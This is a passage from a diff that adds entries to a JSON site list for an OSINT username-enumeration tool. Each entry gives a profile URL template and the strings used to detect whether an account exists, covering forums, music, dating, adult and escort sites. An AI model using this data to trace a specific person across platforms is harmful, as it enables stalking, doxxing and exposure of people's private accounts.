\u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "asquero.com", + "url": "https://asquero.com/user/dashboard/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Find The Best Learning Resources", + "match_string": "Tutorials" + }, + { + "name": "Astra-club", + "url": "http://www.astra-club.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Astraclub", + "url": "http://astraclub.ru/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "Astraclub", + "url": "https://astraclub.ru/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "Astralinux", + "url": "https://forum.astralinux.ru/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Astralinux_CLOSEDEAD", + "url": "https://forum.astralinux.ru/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Astro-talks", + "url": "http://www.astro-talks.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Astro-talks", + "url": "https://www.astro-talks.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Astrogalaxy", + "url": "https://astrogalaxy.ru/forum/phpBB2/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Atc", + "url": "http://www.atc.az/forum/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Account Suspended" + }, + { + "name": "Atcoder", + "url": "https://atcoder.jp/users/{}", + "category": "tech", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Atlanticcouncil", + "url": "https://www.atlanticcouncil.org/expert/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "atm-club.moy.su", + "url": "http://atm-club.moy.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Au", + "url": "https://au.ru/user/{}/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d</title" + }, + { + "name": "Audi-bel", + "url": "http://www.audi-bel.com/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Audiojungle", + "url": "https://audiojungle.net/user/{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Aufeminin", + "url": "https://www.aufeminin.com/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Aussiehomebrewer", + "url": "https://aussiehomebrewer.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "aussiehomebrewer.com", + "url": "https://aussiehomebrewer.com/members/{}.1/", + "category": "food", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Austin Escort Models (Austin, TX)", + "url": "https://austinescortmodels.com/model/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "404 not found", + "match_string": "<td>Ethnicity:</td>" + }, + { + "name": "AustralianFrequentflyer", + "url": "https://www.australianfrequentflyer.com.au/community/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "australianfrequentflyer.com.au", + "url": "https://www.australianfrequentflyer.com.au/community//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "author.today", + "url": "https://author.today/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "authorSTREAM", + "url": "http://www.authorstream.com/author/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "authorSTREAM", + "url": "http://www.authorstream.com/{}/", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Authorstream", + "url": "https://authorstream.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "We apologize for this inconvenience", + "match_string": "subheading" + }, + { + "name": "auto63.ru", + "url": "http://auto63.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "autocb.ucoz.ru", + "url": "http://autocb.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Autofrage", + "url": "https://www.autofrage.net/nutzer/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Autokadabra", + "url": "http://autokadabra.ru/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Autolada", + "url": "https://www.autolada.ru/profile.php?mode=viewprofile&u={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title> :: AUTOLADA.RU", + "match_string": "postdetails" + }, + { + "name": "Autolenta", + "url": "https://community.autolenta.ru/profile/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Automania", + "url": "https://automania.ru/author/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Go to the homepage", + "match_string": "\u041f\u043e\u0441\u0442\u044b \u043e\u0442 " + }, + { + "name": "autosila.at.ua", + "url": "http://autosila.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "autotob.ru", + "url": "http://autotob.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "av.3dn.ru", + "url": "http://av.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ava Escorts (International)", + "url": "https://avaescorts.com/search-results?escort_name={}&agency_id=&escort_type=&root_category=&city_county=Enter+City&age=&hair_color=&languages=&price=&type=&x=0&y=0", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "escorts found (0)", + "match_string": "/>Outcall Only<br" + }, + { + "name": "avangard-basket.at.ua", + "url": "http://avangard-basket.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Avforums", + "url": "https://www.avforums.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found." + }, + { + "name": "Avforums", + "url": "https://avforums.com/members/{}", + "category": "forum", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "logged-in to do that" + }, + { + "name": "avia-forum.ucoz.ru", + "url": "http://avia-forum.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "aviabaza-meria.ucoz.ru", + "url": "http://aviabaza-meria.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "aviaforum.ucoz.ru", + "url": "http://aviaforum.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "aviahistory.ucoz.ru", + "url": "http://aviahistory.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "AvidCommunity", + "url": "https://community.avid.com/members/{}/default.aspx", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User Not Found", + "match_string": "My Announcements" + }, + { + "name": "Avizo", + "url": "https://www.avizo.cz/{}/", + "category": "shopping", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "avon-kiev.at.ua", + "url": "http://avon-kiev.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "avon-registry.com.ua", + "url": "http://avon-registry.com.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Avsim", + "url": "https://www.avsim.com/search/?q={}&quick=1", + "category": "gaming", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 results" + }, + { + "name": "avto-box.at.ua", + "url": "http://avto-box.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Avto-forum", + "url": "https://avto-forum.name/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Avto-forum.name", + "url": "https://avto-forum.name/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "avto.dzerghinsk.org", + "url": "http://avto.dzerghinsk.org/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "avtoexamen.com", + "url": "http://avtoexamen.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Avtoforum", + "url": "https://avtoforum.org/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Avtolyubiteli", + "url": "https://forum.avtolyubiteli.com/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Avtomarket", + "url": "https://avtomarket.ru/u/{}/", + "category": "shopping", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0422\u0430\u043a\u043e\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "AW", + "url": "https://aw.by/forum/profile.php?mode=viewprofile&u={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + }, + { + "name": "awd.ru", + "url": "https://forum.awd.ru/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e.", + "match_string": "\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u043f\u043e\u0438\u0441\u043a\u0430:" + }, + { + "name": "AWS Skills Profile", + "url": "https://skillsprofile.skillbuilder.aws/user/{}/", + "category": "tech", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "shareProfileAccepted\":false" + }, + { + "name": "azhack.ucoz.net", + "url": "http://azhack.ucoz.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "azovmore.dn.ua", + "url": "http://azovmore.dn.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "azovmore.ucoz.ru", + "url": "http://azovmore.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "B17", + "url": "https://www.b17.ru/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "babepedia", + "url": "https://www.babepedia.com/user/{}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "Profile not found", + "match_code": 200, + "match_string": "'s Page" + }, + { + "name": "Babepedia", + "url": "https://babepedia.com/user/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "match_string": "Username:" + }, + { + "name": "Babepedia", + "url": "https://www.babepedia.com/babe/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Sorry, she wasn't found in our database.", + "match_string": ">Add to favorites" + }, + { + "name": "BabesDirectory", + "url": "https://babesdirectory.online/profile/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Babe not found 404", + "match_string": "BIO, Wiki, News" + }, + { + "name": "Babestation Cams (performer)", + "url": "https://babestationcams.com/performer/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "<title>Not Found", + "match_string": "Babestation Cams" + }, + { + "name": "Baby", + "url": "https://forum.baby.ru/u/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Baby", + "url": "https://baby.ru/u/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "error404", + "match_string": "user-header" + }, + { + "name": "Baby.ru", + "url": "https://www.baby.ru/u/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "error-page__title", + "match_string": "user-name" + }, + { + "name": "Babyblog", + "url": "https://babyblog.ru/user/info/{}", + "category": "news", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "diary-header" + }, + { + "name": "Babyblog", + "url": "https://www.babyblog.ru/user/info/{}", + "category": "news", + "source": "nexfil", + "nsfw": false + }, + { + "name": "BabyBlog.ru", + "url": "https://www.babyblog.ru/user/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Babyboom", + "url": "https://www.babyboom.pl/forum/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "babyboom.pl", + "url": "http://www.babyboom.pl/forum//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Babycenter", + "url": "https://www.babycenter.in/profile/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "babymama.ucoz.ru", + "url": "http://babymama.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BabyPips", + "url": "https://forums.babypips.com/u/{}.json", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "The requested URL or resource could not be found", + "match_code": 200, + "match_string": "user_badges" + }, + { + "name": "Babyplan", + "url": "https://www.babyplan.ru/search/?q={}&type=core_members", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + }, + { + "name": "BabyRu", + "url": "https://www.baby.ru/u/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0432\u044b \u0438\u0441\u043a\u0430\u043b\u0438, \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430" + }, + { + "name": "BackdoorSdslabs", + "url": "https://backdoor.sdslabs.co/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "No such user exists" + }, + { + "name": "badoink vr", + "url": "https://badoinkvr.com/vr-pornstar/{}/", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "This page does not exist", + "match_string": "Measurements:" + }, + { + "name": "Badoo", + "url": "https://badoo.com/profile/{}", + "category": "dating", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "baggi.ucoz.ru", + "url": "http://baggi.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bahaipedia", + "url": "https://bahaipedia.org/Wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Bahaipedia", + "url": "https://bahaipedia.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Baidu", + "url": "https://tieba.baidu.com/home/main?un={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "error_404_iframe", + "match_string": "user_name" + }, + { + "name": "Balancer", + "url": "https://www.balancer.ru/tools/search/result/?q={}r&s=t", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "Ballofspray", + "url": "https://www.ballofspray.com/search/?q={}&quick=1&type=core_members", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 results" + }, + { + "name": "baltnethub.3dn.ru", + "url": "http://baltnethub.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bandcamp", + "url": "https://www.bandcamp.com/{}", + "category": "music", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bandcamp", + "url": "https://bandcamp.com/{}", + "category": "music", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "

    Sorry, that something isn\u2019t here.

    ", + "match_code": 200, + "match_string": " collection | Bandcamp" + }, + { + "name": "Bandlab", + "url": "https://www.bandlab.com/api/v1.3/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "find any matching element, it might be deleted", + "match_string": "genres" + }, + { + "name": "Bandlab", + "url": "https://bandlab.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile-header" + }, + { + "name": "banki.ru", + "url": "https://banki.ru/blog/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Baraza_africa", + "url": "https://baraza.africa/u/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "couldnt_find_that_username_or_email" + }, + { + "name": "Barca", + "url": "http://www.barca.ru/forum/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0424\u043e\u0440\u0443\u043c" + }, + { + "name": "Barcamania", + "url": "https://www.barcamania.com/users/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Barnacl", + "url": "https://barnacl.es/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "barnaul-forum.ru", + "url": "http://barnaul-forum.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "baseball-reference.com", + "url": "https://baseball-reference.com/bullpen/User:{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Basecamphq", + "url": "https://{}.basecamphq.com/login", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bash", + "url": "https://bash.cyberciti.biz/guide/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "bashtanka.at.ua", + "url": "http://bashtanka.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bashteplovent.ucoz.ru", + "url": "http://bashteplovent.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Basistar", + "url": "https://basistar.de/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Bassclub", + "url": "https://bassclub.ru/forum/search/?q={}&type=core_members", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + }, + { + "name": "Battlefield", + "url": "https://battlelog.battlefield.com/bf4/ru/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "404" + }, + { + "name": "Battleraprus", + "url": "https://battleraprus.fandom.com/ru/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "baykovoshkola.ucoz.ru", + "url": "http://baykovoshkola.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bayoushooter", + "url": "https://www.bayoushooter.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bayoushooter", + "url": "https://bayoushooter.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Baza-knig", + "url": "https://baza-knig.ink/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bazar.cz", + "url": "https://www.bazar.cz/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Bb_chip", + "url": "https://bb.chip.icu/u/{}", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bbclub.ucoz.ru", + "url": "http://bbclub.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bbpress.org", + "url": "https://bbpress.org/forums/profile/{}/", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bbs.evony.com", + "url": "http://bbs.evony.com/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bbs.huami.com", + "url": "https://bbs.huami.com/home.php?username={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u63d0\u793a\u4fe1\u606f - huami\u8bba\u575b - Powered by Discuz!" + }, + { + "name": "Bbshave", + "url": "https://bbshave.ru/profile/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442." + }, + { + "name": "bce-tyt.ru", + "url": "http://bce-tyt.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bdoutdoors", + "url": "https://www.bdoutdoors.com/forums/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "BDSM Singles", + "url": "https://www.bdsmsingles.com/members/{}", + "category": "dating", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "bdsmsingles.com/?language", + "match_string": "Profile" + }, + { + "name": "BDSMLR", + "url": "https://{}.bdsmlr.com", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "message", + "error_code": 200, + "error_string": "This blog doesn't exist.", + "match_code": 200, + "match_string": "login" + }, + { + "name": "bdsmsingles", + "url": "https://www.bdsmsingles.com/members/{}/", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 302, + "error_string": "BDSM Singles", + "match_code": 200, + "match_string": "<title>Profile" + }, + { + "name": "beacons.ai", + "url": "https://beacons.ai/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "https://beacons.ai/bw_logo_full.png", + "match_string": "https://cdn.beacons.ai/profile_pictures" + }, + { + "name": "beatl.ucoz.ru", + "url": "http://beatl.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BeatStars", + "url": "https://www.beatstars.com/{}", + "category": "music", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found", + "match_string": "Stats" + }, + { + "name": "Beatstars", + "url": "https://beatstars.com/{}", + "category": "music", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "member-profile" + }, + { + "name": "Beautyheaven", + "url": "https://www.beautyheaven.com.au/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Bebee", + "url": "https://us.bebee.com/bee/{}", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Beeg", + "url": "https://beeg.com/people/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "match_string": "Suggest Edits" + }, + { + "name": "Beep", + "url": "https://beep.by/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BEER", + "url": "https://\u0431\u0438\u0440.\u0440\u0444/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Beerintheevening", + "url": "http://www.beerintheevening.com/user_profile.shtml?username={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User does not exist." + }, + { + "name": "BeerMoneyForum", + "url": "https://www.beermoneyforum.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + 